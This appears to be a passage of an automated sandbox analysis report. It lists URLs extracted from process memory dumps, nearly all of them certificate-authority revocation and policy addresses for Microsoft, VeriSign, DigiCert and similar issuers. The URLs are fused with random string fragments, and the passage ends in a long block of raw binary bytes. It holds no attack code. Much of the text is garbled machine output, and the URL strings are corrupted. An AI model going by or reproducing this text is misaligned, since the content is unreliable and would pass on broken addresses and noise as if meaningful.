"http://crl.verisign.com/pca3.crl01.2.840.10045.2.1pkcs2.16.840.1.113730.1.131.2.840.113533.7.65.0microsoft" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00003236.00000001.136587.1E2E0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportocalsettingoverridedisableearlylaunchantimalwareoftware\policies\microsoft\windows" - Source: "00000000-00003236.00000001.136587.1E460000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003236.00000001.136587.1E460000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00003236.00000001.136587.1E460000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003236.00000001.136587.1E460000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003236.00000001.136587.1E460000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0qs[\e-stamp" - Source: "00000000-00003236.00000001.136587.1FD80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pj9=3er" - Source: "00000000-00003236.00000001.136587.1FD80000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0p" - Source: "00000000-00003236.00000001.136587.1FD80000.00000004.mdmp") Found URL "http://www.46.3!" - Source: "00000000-00003236.00000001.136587.1FD80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@j" - Source: "00000000-00003236.00000001.136587.1FD80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mlambda_methodent.automationcallsite.targetcallsite.targetlambda_methodilitylambda_methodourcescallsite.targetcallsite.targetcallsite.targetcallsite.targetosofructcallsite.target!hqclambda_methodcallsite.targetcallsite.target!" - Source: "00000000-00003236.00000001.136587.1FD80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsof9i/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003236.00000001.136587.1FE19000.00000004.mdmp") Found URL "http://meowj9=3e" - Source: "00000000-00003236.00000001.136587.1FE19000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003236.00000001.136587.1FE19000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http:caxr6n5cxtdijxk8011pxau" - Source: "00000000-00003236.00000002.137650.03F60000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00003236.00000002.137650.03F60000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.cruz_]pge" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcsuuu@hhsmookh&http://crl.thawtthawte," - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;2.5.29.1microsoft" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.2.840.10045.2.1pkcs2.16.840.1.113730.1.131.2.840.113533.7.65.0microsoft" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003236.00000002.137650.1E2E0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportocalsettingoverridedisableearlylaunchantimalwareoftware\policies\microsoft\windows" - Source: "00000000-00003236.00000002.137650.1E460000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003236.00000002.137650.1E460000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00003236.00000002.137650.1E460000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003236.00000002.137650.1E460000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003236.00000002.137650.1E460000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0qs[\e-stamp" - Source: "00000000-00003236.00000002.137650.1FD80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pj9=3er" - Source: "00000000-00003236.00000002.137650.1FD80000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0p" - Source: "00000000-00003236.00000002.137650.1FD80000.00000004.mdmp") Found URL "http://www.46.3!" - Source: "00000000-00003236.00000002.137650.1FD80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@j" - Source: "00000000-00003236.00000002.137650.1FD80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mlambda_methodent.automationcallsite.targetcallsite.targetlambda_methodilitylambda_methodourcescallsite.targetcallsite.targetcallsite.targetcallsite.targetosofructcallsite.target!hqclambda_methodcallsite.targetcallsite.target!" - Source: "00000000-00003236.00000002.137650.1FD80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsof9i/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003236.00000002.137650.1FE19000.00000004.mdmp") Found URL "http://meowj9=3e" - Source: "00000000-00003236.00000002.137650.1FE19000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003236.00000002.137650.1FE19000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcdigicert" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;pu7t" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0ttp:l.mi-" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l[s;tos;t" - Source: "00000000-00006840.00000000.134222.54320000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportapslatencyretrytimeoutapslatencyretrytimeoutindows" - Source: "00000000-00006840.00000000.134222.54620000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1bm@qc" - Source: "00000000-00006840.00000000.134222.54620000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006840.00000000.134222.54620000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt01(0&0p" - Source: "00000000-00006840.00000000.134222.54620000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006840.00000000.134222.55FB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcdigicert" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;pu7t" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0ttp:l.mi-" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l[s;tos;t" - Source: "00000000-00006840.00000001.134325.54320000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006840.00000001.134325.55FB0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006840.00000001.134325.55FB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00006840.00000001.134325.55FB0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0rpornameprop1%0" - Source: "00000000-00006840.00000001.134325.55FB0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fE~7{~U { (8 (8(%&~U (%&,)E7{ 8((&%8&{^,EI(%(&&% (8{ 8(X (8 X8(X (8(S+I(%m&(% &8({ (8 X8(X (8 X8((~7{{ (%&&{ 8(8$M{,E{N (8 + (8,E8{NM{(%i& (8,E8X(&%i,E(%i&Y(&% 8((~7{(I&%L{nsX6 (%&& 8(X(%i&?E(I&%{Y 8(j,E {7({7(({7 (%&&8{( &%*&0[ (8(% & 8((&%",E-& (8 + (8,E8(E&% (82EX{(&%i+ 8(,E8 Xo8{(&%{ 8(X(%& 8(,E8B (8 Y8(\ (88{ 8(X (8XZ(%& 8(cn 8(_Xji(I&%Xj( 8(3E{+ 8(,~E (8(%&~ $8((-&%& (8((e&%X~(% &,8((&%&8 08(3E{ 48(+ 88(,zE< (8(%&~ @8((-&%& D8((&%mX~(&%H (8(%&&L (8X :EX P (8Y:yE*0oT (8(% & X8(,E-&/8(E&%\ (8,E8{-E `8(+ d8({-Eh (8+n l9(% &n8{(&%{ t8(X(%&{x (8(X&% | (8,E?8E(%& 8(,E 8(X8{ (%&~ (%&~U (%&,E 8(X8u-E + ( E&% (8,E (8X"8 8(8XZX{(%i&,E8{-E{(&%+n{(e&% (8j,E8w_ (8j,.E 8(ji_Ws( M&%8iE(%& 8(25E 8(X{(%i& (8 + (8,E8~{ (8(X&%(%&U~( &%,Ec+{-EI(%m&(%+&(I&%(%&~(I&% XjZXj6s (%&& 8(X8 (8X (8X{(&%i 8(:aE*0(&% (8 {9\E-& (8(% &I(% &8(j X8(j(_ (8#+ (8( (8X 8(-E 8( 8(()~{8(%&&~7{(I&% (8Xj6s (I&%(% &8((&%& 8((I&%{Xn(~8{(&% &8(8p 8((&% (8#+ (8( (8X 8( - E 8( 8(() ! E~8{(|&%+&~{8(%&&~7{(I&% (8Xj6s (I&%(i&% (8(%&& (8I(%&{niX)(,!E~{8(%&&+~8{(&%&(8~8{(&%*&0O(%&!Xs( (%&Xs( (% &( &%(%&$*0 (7 *0 *0W(% &( &%(%&(%,&2E-&@(%&ajY(% &( &%**0M(n&% ,(%&2E- &(% && & (&%*0w$~,hE-!&$~($&%+ , (&%(%,&E~$ "X (&%2iE~*$**0^A~-VE-6&[r p(Y &%(Z &%oi@ &%( &%o" &%ja(Y&%A*0 (7 *0 A~(% *&0 A~((% *&0 A~[(% *&0 A~\(% *&0 A~ -_'E-<&A~ X8|A~_@/-EA~ _ b~AX `X+~AA? _ b~AX`b A~X`b A~X` X/E~*A](* 0^D~-VE-A&er p(Y &%(Z &%oi@ &%( &%o" &%ja(Y&%D*0 (7 *0 D~ -_'E-C&D~ X8|D~_@/-ED~ _ b~DX `X+~AD? _ b~DX`b D~X`b D~X` X/E^~* _(% ~&D@o% &(` &%*0O~I~J G H(&%I(%&J(%&F*0 (7 *08(n&% ,(%&2E-V&(% &*0(n&% or(p&%/!E-W&rp(%&/E~rX(&%n!.E(%&3NE~6(%& (% &( &%r(&**%0#F~%(E(&% { o% &o l &%o% o& &%+8o &%3,E(&% { o% o& &%(% X&x(*w(%&Zu(r*/p(% &6(%s& z0 %{}X*0{%{% }X*0${ {%X}{(% *&0M{%X{%Xc{%Xc{%Xc* V> b(*~:({* V b(*~2(* V e(*~6(* V! b(*~2(* V" b(*~.(* V# b(*~6(* V$ b(*~.(* V% b(*~2(* V& b(*~2(* V' b(*~2(*=u* V) b(*~6(* * V+ b(*~2(* V, b(*0~( * V-I b(*~6(* V. b(*~2(* V/3 b(*~:(* V0 b(*~2(* V1 b(*~:(* V2 b(*~2(* V3 b(*~2(* V4 b(*~.(*?t*"( * V7 b(*~6(* V8 b(*~6(** V: b(*~6(* V; b(*~6(* V< b(*~2(* V= b(*~6(* V> b(*~6(* V? b(*~:(* V@ b(*~6(* VA b(*~6(* VB b(*~:(* VC b(*~6(* VD b(*~6(** VF b(*~2( * VG b(*~> (* * VI b(*~2(* VJ b(*~2(* * VL b(*~6(* VM b(*~2(* VN b(*~2(#* VO b(*~2('* * VQ+ b(*~N,(* *=t*X* VU b(*~2(3* VV b(*~2(7* VW! b(*~2(;* VX" b(*~6?(*Xu* VZ b(*~6D(* V[# b(*~2(H* V\ b(*~6L(* V]$ b(*~2(P* V^M b(*~NT(* V_% b(*~>X(* V`& b(*~6\(* Va' b(*~2(`* Vb( b(*~6d(* Vc) b(*~Nh(*0u* Ve* b(*~2(m* Vf+ b(*~2(q*!u* * Vi b(*~2(w* Vj, b(*~6{(* Vk- b(*~2(* Vl# b(*~N(* Vm b(*~6(* Vn. b(*~:(* Vo/ b(*~6(* Vp0 b(*~6(*4* * Vs1 e(*~.(*4* Vu2 b(*~>(* Vv3 b(*~F(* Vw4 b(*~2(* Vx b(*~.(* Vy\ b(*~:(* Vz5 b(*~6(* V{6 h(*~6(*%* V} b(*~.(* V~7 e(*~.(* V8 b(*~>(* V b(*~:(* *0t**( * V9 b(*~:(* V: b(*~2(* V; b(*~6(* V< b(*~2(* VQ b(*~6(* V e(*~.(* V' b(*~N(* V= b(*~2(*** V b(*~2(* V> b(*~.(*#*9u* V b(*~6(* V? b(*~2(* V/ b(*~:(* V@ b(*~>(*5* VA b(*~6(** V b(*~>(* VB e(*~2(* VE b(*~:(* VC b(*~6(* V b(*~. (* VD b(*~2 ($* VE b(*~:((*\ i8Lhɇ=-{wd .p}5e#wu6o${!"ЁOͬ,"*1Es=E.ucٲ89 1CI4j- 8y-1qnV$HK,f,PCXˤ3~7W <0j %dpC*2 2;6u9fRsO#%=i^It4 ɽ_G1*Òkk}L~[Ų" x)y%1ڑϼݬ m cC~Kt gr];5$'IyAKǀCtIsdtΦm0Si'½޼flq!Px)L&1CԨ%gQ1Q( \kY/\3%_;ÌCX]7WA@\1{'!8_T y:$mp x?n-eZk[8:Ǽ nG$()38pWDY7~J'*}Nh$vZBM6/Cr/66/XG"41&%ŠMGqLffK8r*}ըYE4_@g?[40|˴\vLF>u(Xo70a?O?|piܸ 